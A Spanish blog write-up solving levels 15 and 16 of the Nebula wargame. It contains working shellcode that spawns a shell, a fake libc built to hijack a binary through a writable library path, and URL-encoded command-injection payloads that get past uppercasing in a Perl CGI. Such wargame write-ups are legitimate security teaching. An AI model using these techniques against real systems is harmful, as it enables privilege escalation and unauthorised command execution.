Soluciones Nebula Niveles 15,16

Nivel 15:

Debo decir que éste nivel ha sido, para mí, el más complicado de los veinte. Identificar el problema no fue complicado, pero conseguir que la solución funcionara ha sido una pesadilla. El nivel nos sugiere que realicemos strace sobre el binario, así que nos lanzamos de cabeza a la tarea:

Abriendo libc desde extrañas ubicaciones

Como podéis ver en la imagen, se intenta abrir la librería libc desde diferentes ubicaciones, hasta finalmente encontrarla en el directorio habitual. Si os fijáis en la línea seleccionada, una de las ubicaciones es /var/tmp/flag15/libc.so.6. Dicho directorio no existe, y al estar ubicado en /var/tmp, podemos crearlo nosotros, copiar una libc falsa en él, y esperar a que el programa la abra. Cuando la víctima invoque alguna función de nuestra librería trampa, podremos tomar el control. Parece fácil, ¿verdad? Pues es un infierno.

Si se hubiera tratado de otra librería, no habría sido demasiado difícil crear una falsificación aceptable que permitiera tomar el control de las llamadas a funciones pertenecientes a dicha librería, pero al tratarse de libc, la cosa se complica. Las principales pesadillas son:

  1. Compilar algo parecido a un libc, que no estalle cuando el programa lo cargue.
  2. Ejecutar nuestros comandos en ella (no, no tendremos acceso a las funciones de libc, así que…)

Para el segundo punto, lo más sencillo que me vino a la cabeza fue reutilizar una shellcode que tenía a mano (hecha por mí) que invoca una shell. De este modo soluciono el problema de no poder llamar a ninguna función desde mi falsa libc. Podría haber embebido ASM en mi código C, pero no soy muy fan del formato ASM de gcc, así que he preferido coger la shellcode y llamarla con un puntero a función:

    char shellcode[]=
"\xeb\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\x8d\x4b"
"\x08\x8d\x53\x0c\xb0\x0b\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69"
"\x6e\x2f\x73\x68";
int (*func)();
func = (int (*)()) shellcode;
(int)(*func)();

El primer punto me trajo de cabeza varios días. Primero traté de crear las funciones que el programa requería, funciones de inicialización de la librería, funciones de limpieza al finalizar la ejecución, y luego la función que quería suplantar. Decidí usar write(). Sin embargo, me topé con dos problemas:

  • No tenía ni idea de cómo continuar la ejecución a la función write() original (no podía usar dlsym/dlopen).
  • No conseguía inicializar la librería adecuadamente.
  • No conseguía los valores de compilación adecuados que no la hicieran explotar al ser cargada por el binario flag15.

Para solucionar los dos primeros puntos, decidí que era más sencillo utilizar la propia función de inicialización para ejecutar mi código dentro de la misma. Además, si según se cargaba libc yo ejecutaba una shell, no había necesidad de realizar la inicialización normal. El último punto seguía siendo un problema. Al final, buscando cómo compilar la propia libc, cómo derivar el flujo de ejecución de funciones dentro de libc, etc, acabé dando con éste post de Chris Meyers, en el que publica su solución al reto. Su aproximación es similar a la mía, si bien él optó por la abstracción syscall() para ejecutar su código en lugar de la shellcode. Pero los dos usábamos la misma idea de usar la inicialización de libc como trampolín, así que “tomé prestado” su Makefile. ¡Gracias Chris! Resulta que lo único que me faltaba para que funcionara correctamente era el flag -Bstatic 🙂

Ésta es mi “libc” falsa, después de cientos de versiones distintas:


int __libc_start_main(void){
char shellcode[]=
"\xeb\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\x8d\x4b"
"\x08\x8d\x53\x0c\xb0\x0b\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69"
"\x6e\x2f\x73\x68";

int (*func)();
func = (int (*)()) shellcode;
(int)(*func)();
}

Aquí tenéis el Makefile de Chris, ligeramente modificado para adaptarlo a mi solución (añadí -z execstack, y cambié los nombres de las librerías):


all:
gcc -fPIC -c libc.c -o libc.o
gcc -z execstack -shared -Wl,-Bstatic,-soname,libc.so,--version-script,version.script -o libc.so.6 libc.o -L/usr/lib/i386-linux-gnu/ -lc -static

clean:
rm -f *.so *.o

El fichero version.script, necesario para compilar libc, para ésta “libc” basta con lo siguiente:

GLIBC_2.0 {
};

Con ésto listo, ya sólo es cuestión de compilar, copiar a /var/tmp/flag15, y ejecutar el programa del reto.

Así visto parece fácil

Nivel 16:

Éste es otro nivel que hay que resolver mediante el uso del navegador. El siguiente CGI de perl escucha en el puerto 1616.

#!/usr/bin/env perl

use CGI qw{param};

print "Content-type: text/html\n\n";

sub login {
$username = $_[0];
$password = $_[1];

$username =~ tr/a-z/A-Z/;    # conver to uppercase
$username =~ s/\s.*//;        # strip everything after a space

@output = `egrep "^$username" /home/flag16/userdb.txt 2>&1`;
foreach $line (@output) {
($usr, $pw) = split(/:/, $line);

if($pw =~ $password) {
return 1;
}
}

return 0;
}

sub htmlz {
print("<html><head><title>Login resuls</title></head><body>");
if($_[0] == 1) {
print("Your login was accepted<br/>");
} else {
print("Your login failed<br/>");
}
print("Would you like a cookie?<br/><br/></body></html>\n");
}

htmlz(login(param("username"), param("password")));

No es díficil darse cuenta de la inyección de comandos en la función login(), cuando se invoca egrep con valores controlados por el usuario. Tenemos que tener en cuenta, no obstante, un par de limitaciones que hay que superar:
  1. Nuestra entrada se va a pasar a mayúsculas antes de ser ejecutada por bash
  2. No podemos usar espacios, todo lo que venga después de un espacio se va a eliminar.
  3. Hay que hacer url-encode de los caracteres propios de una URL (como el &).
  4. Si el comando egrep no termina correctamente fallará, y no se ejecutará nuestra inyección.

El tercer problema es sencillo, simplemente reemplazaremos el & por su equivalente %26. El segundo no es difícil, simplemente crearemos un script en /tmp, y así podremos poner todas las órdenes que queramos, con espacios o sin ellos.

Para la cuarta, simplemente vamos a utilizar un null byte al final de nuestra cadena a inyectar (%00), de tal forma que egrep considere que termina ahí, y no falle. La primera tiene un poco más de chicha, pero tampoco demasiada. El problema, que ya habréis notado, es que si creamos un script en /tmp/level16, y tratamos de que el programa lo ejecute, por ejemplo con una inyección así:


// comillas para terminar su comand, & para ejecutar el nuestro, y null byte para terminar egrep bien
"%26/tmp/level16%00

Veremos cómo el programa intenta ejecutar /TMP/LEVEL16, que no existe, por aquello de que Linux diferencia entre mayúsculas y minúsculas. Evidentemente podemos cambiar el nombre de nuestro script a LEVEL16, y solucionar parte del problema, pero me temo que no podemos renombrar /tmp, ni crear un nuevo directorio en /. Sin embargo, bash tiene algunas características muy útiles y que todos usamos a diario, que van a acudir a nuestro rescate: los wildcards. Es decir, que podemos usar * (asterisco) o ? (interrogación) y bash los expandirá para que encajen con el patrón solicitado. Por lo tanto, tras renombrar el script a LEVEL16, la siguiente inyección sí debería funcionar:

// comillas para terminar su comand, & para ejecutar el nuestro, y null byte para terminar egrep bien
// ???, cualquier cadena de 3 caracteres
%26/???/LEVEL16a%00

Contenido del script y verificación de que funcionó

Invocando el CGI con el payload adecuado

Más en la próxima entrada.

¡Salud!

Anuncios
Tagged with: , , , ,
Publicado en exploiting, hacking

Responder

Introduce tus datos o haz clic en un icono para iniciar sesión:

Logo de WordPress.com

Estás comentando usando tu cuenta de WordPress.com. Cerrar sesión / Cambiar )

Imagen de Twitter

Estás comentando usando tu cuenta de Twitter. Cerrar sesión / Cambiar )

Foto de Facebook

Estás comentando usando tu cuenta de Facebook. Cerrar sesión / Cambiar )

Google+ photo

Estás comentando usando tu cuenta de Google+. Cerrar sesión / Cambiar )

Conectando a %s

Archive
A %d blogueros les gusta esto: